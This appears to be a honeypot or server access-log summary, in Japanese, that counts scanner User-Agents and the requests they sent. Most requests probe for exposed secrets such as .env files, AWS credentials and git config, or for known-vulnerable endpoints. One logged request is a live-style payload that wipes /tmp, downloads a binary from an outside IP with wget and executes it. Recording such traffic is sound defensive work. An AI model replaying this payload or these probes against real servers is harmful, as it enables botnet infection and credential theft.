8	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.3`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
4	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0`
1	`Mozilla/5.0 (Windows NT 6.0; rv:40.0) Gecko/20100101 Firefox/40.0`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (X11; Linux i686; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre`
19	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
4	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko)`
3	`Mozilla/5.0 zgrab/0.x`
4	`Mozilla/5.0`
2	`curl/7.81.0`
1	`curl/8.1.2`
6	`xfa1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_13.67.44.234_80`
1		`\x03`
2		`\x16\x03\x01\x01\v\x01`
1		`\x16\x03\x01\x02`
9		`\x16\x03\x01`
4		`\x16\x03\x02\x01o\x01`
1	CONNECT	`google[.]com:443`	HTTP/1.1
1	GET	`/.aws/credentials`	HTTP/1.1
22	GET	`/.env`	HTTP/1.1
1	GET	`/.env`	HTTP/1.0
2	GET	`/.git/config`	HTTP/1.1
1	GET	`/.vscode/sftp.json`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/1.php`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/BeDq`	HTTP/1.1
1	GET	`/Oy3b`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd%3Ftype=rau`	HTTP/1.1
1	GET	`/aab8`	HTTP/1.1
1	GET	`/aab9`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
6	GET	`/admin/assets/js/views/login.js`	HTTP/1.0
2	GET	`/ads.txt`	HTTP/1.1
2	GET	`/app-ads.txt`	HTTP/1.1
2	GET	`/cdn-cgi/trace`	HTTP/1.1
6	GET	`/cgi-bin/luci/;stok=/locale`	HTTP/1.1
11	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/form.html`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/jquery-3.3.1.slim.min.js`	HTTP/1.1
1	GET	`/jquery-3.3.2.slim.min.js`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/password.php`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
2	GET	`/sellers.json`	HTTP/1.1
1	GET	`/sendgrid.env`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 109.176.207.235/jaws;sh+/tmp/jaws`
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.1
1	GET	`/t4`	HTTP/1.1
1	GET	`/upl.php`	HTTP/1.1
1	GET	`/webui/`	HTTP/1.1
2	HEAD	`/`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.0
4	PRI	`*`	HTTP/2.0